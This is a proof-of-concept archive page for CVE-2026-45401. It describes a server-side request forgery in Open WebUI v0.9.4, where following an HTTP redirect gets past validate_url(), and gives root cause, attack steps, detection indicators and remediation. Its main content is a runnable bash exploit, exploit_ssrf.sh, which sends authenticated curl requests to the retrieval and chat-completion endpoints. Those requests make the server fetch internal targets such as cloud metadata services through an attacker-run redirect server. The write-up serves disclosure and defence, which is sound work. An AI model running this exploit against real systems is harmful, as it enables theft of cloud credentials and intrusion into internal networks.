PoC Archive PoC Archive
High CVE-2026-45401 unpatched

Open WebUI SSRF via HTTP Redirect Bypass of validate_url() (CVE-2026-45401)

by nayakchinmohan · 2026-07-05

Severity
High
CVE
CVE-2026-45401
Category
web
Affected product
Open WebUI
Affected versions
v0.9.4 (per source repository)
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-07
Author / Researchernayakchinmohan
CVE / AdvisoryCVE-2026-45401
Categoryweb
SeverityHigh
CVSS ScoreNot specified in source
StatusPoC
Tagsssrf, open-webui, redirect-bypass, url-validation-bypass, internal-network-access
RelatedN/A

Affected Target

FieldValue
Software / SystemOpen WebUI
Versions Affectedv0.9.4 (per source repository)
Language / PlatformBash (PoC), targeting a Python/aiohttp backend
Authentication RequiredYes (regular user-role account, non-admin)
Network Access RequiredYes

Summary

Open WebUI v0.9.4 validates user-supplied URLs with a validate_url() function before the server fetches them, intended to block requests to internal/private hosts. However, the validation only checks the initial hostname supplied by the client; when the server-side HTTP client (requests or aiohttp) follows a subsequent HTTP redirect (302), it will happily fetch whatever internal target the redirect points to. This PoC demonstrates two independent vectors — the web-retrieval ingestion endpoint and the chat-completion image_url feature — both of which perform server-side requests that can be redirected to internal/private network resources, resulting in classic SSRF.


Vulnerability Details

Root Cause

validate_url() inspects only the hostname of the URL provided directly by the client. It does not re-validate the destination of HTTP redirects that the underlying HTTP client (requests.get() for the retrieval endpoint, aiohttp.ClientSession.get() for the image-fetch path) transparently follows. An attacker-controlled public URL can therefore respond with a 302 redirect to an internal address (e.g. http://169.254.169.254/, http://127.0.0.1:PORT/, or other internal services), and the server will fetch it as if it were the original public URL.

Attack Vector

  1. Attacker stands up a public redirect server (redirect_server.py, not included in this repo) that responds with an HTTP 302 to an internal/private target of the attacker’s choosing.
  2. Attacker authenticates to Open WebUI as a regular (non-admin) user and obtains a USER_TOKEN (JWT).
  3. Vector A — Attacker sends POST /api/v1/retrieval/process/web?process=false with {"url": "<REDIRECT_URL>"}. validate_url() sees the public redirect URL and passes it; the server’s requests.get() call then follows the 302 to the internal target and returns/ingests its full response body (useful for binary/full-content exfiltration).
  4. Vector B — Attacker sends POST /api/chat/completions with a chat message containing an image_url content block pointing at <REDIRECT_URL>. convert_url_images_to_base64()get_image_base64_from_url() uses aiohttp to fetch the URL, again following the redirect to the internal target; the fetched body is base64-encoded and injected into the LLM prompt context (semi-blind, but content may be reflected back in the model’s response).
  5. Attacker inspects the redirect server logs and/or the API responses to confirm the request originated from the Open WebUI server (not the attacker), proving successful SSRF against the internal target.

Impact

A low-privileged, authenticated (non-admin) user can coerce the Open WebUI server into making arbitrary HTTP requests to internal-only network resources (cloud metadata endpoints, internal admin panels, other services on the internal network, etc.), potentially leading to credential/metadata theft, internal service enumeration, or further pivoting — all while bypassing the intended validate_url() SSRF protection via a simple redirect.


Environment / Lab Setup

Target: Open WebUI v0.9.4, default configuration, running on http://target:3000
Attacker tooling:
  - A regular (non-admin) Open WebUI user account and its JWT (USER_TOKEN)
  - A publicly reachable redirect server (e.g. a small Python script serving
    HTTP 302 responses toward the desired internal target), referenced as
    REDIRECT_URL in the PoC
  - curl, python3 (for pretty-printing JSON responses)

Proof of Concept

PoC Script

See exploit_ssrf.sh in this folder.

1
2
3
4
OPENWEBUI=http://target:3000 \
USER_TOKEN=eyJ... \
REDIRECT_URL=http://your-public-vps:8000/r \
./exploit_ssrf.sh

Running the script fires both SSRF vectors (the retrieval/web-ingestion endpoint and the chat-completion image_url endpoint) against the target and prints the raw JSON/response bodies; a hit on the attacker’s redirect server logs originating from the Open WebUI server’s IP confirms server-side fetch of the internal target.


Detection & Indicators of Compromise

- Outbound HTTP requests from the Open WebUI application server to external
  "redirect" hosts followed immediately by a second connection to internal
  IP ranges (RFC1918, 169.254.169.254, etc.) shortly after.
- Server-side HTTP client logs showing 3xx redirect responses being followed
  automatically for /api/v1/retrieval/process/web and /api/chat/completions
  requests.
- Unexpected requests to internal-only endpoints or cloud metadata services
  appearing to originate from the Open WebUI host.

Signs of compromise:

  • Non-admin user accounts issuing retrieval or chat-completion requests referencing external “redirector” style URLs.
  • Internal services or metadata endpoints receiving requests sourced from the Open WebUI server’s IP with no legitimate business reason.

Remediation

ActionDetail
Primary fixRe-validate the final destination host/IP after every redirect hop (or disable automatic redirect following and manually validate each hop) in both the retrieval web-ingestion path and the image-fetch path before performing the request.
Interim mitigationDisable/restrict the web-retrieval and image_url ingestion features for non-admin users, or place an egress proxy/firewall in front of the Open WebUI server that blocks outbound connections to private/internal IP ranges regardless of redirect chains.

References


Notes

Mirrored from https://github.com/nayakchinmohan/CVE-2026-45401 on 2026-07-05.

exploit_ssrf.sh
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/usr/bin/env bash
# Open WebUI v0.9.4 — SSRF via HTTP redirect bypass of validate_url()
#
# Prerequisite: regular `user`-role account (NOT admin). Default config.
# Set REDIRECT_URL to your public redirect_server.py instance.
#
# Usage:
#   OPENWEBUI=http://target:3000 \
#   USER_TOKEN=eyJ... \
#   REDIRECT_URL=http://your-public-vps:8000/r \
#   ./exploit_ssrf.sh

set -euo pipefail

OPENWEBUI="${OPENWEBUI:-http://localhost:3000}"
USER_TOKEN="${USER_TOKEN:?set USER_TOKEN to a regular user JWT}"
REDIRECT_URL="${REDIRECT_URL:?set REDIRECT_URL to your public redirect server}"

echo "=============================================================="
echo "Vector A: POST /api/v1/retrieval/process/web (full-read for binary targets)"
echo "  validate_url() checks REDIRECT_URL hostname (public -> pass)"
echo "  requests.get() follows 302 to internal target"
echo "=============================================================="
curl -s -X POST "$OPENWEBUI/api/v1/retrieval/process/web?process=false" \
  -H "Authorization: Bearer $USER_TOKEN" \
  -H 'Content-Type: application/json' \
  -d "{\"url\": \"$REDIRECT_URL\"}" | python3 -m json.tool || true
echo

echo "=============================================================="
echo "Vector B: chat-completion image_url (default-on, semi-blind)"
echo "  convert_url_images_to_base64() -> get_image_base64_from_url()"
echo "  aiohttp session.get() follows 302; body base64-encoded into LLM prompt"
echo "=============================================================="
curl -s -X POST "$OPENWEBUI/api/chat/completions" \
  -H "Authorization: Bearer $USER_TOKEN" \
  -H 'Content-Type: application/json' \
  -d "{
    \"model\": \"any\",
    \"messages\": [{
      \"role\": \"user\",
      \"content\": [
        {\"type\": \"text\", \"text\": \"describe\"},
        {\"type\": \"image_url\", \"image_url\": {\"url\": \"$REDIRECT_URL\"}}
      ]
    }]
  }" | head -c 2000
echo
echo
echo "Check redirect_server.py logs: you should see hits originating from the"
echo "Open WebUI server's IP, proving server-side fetch of the internal target."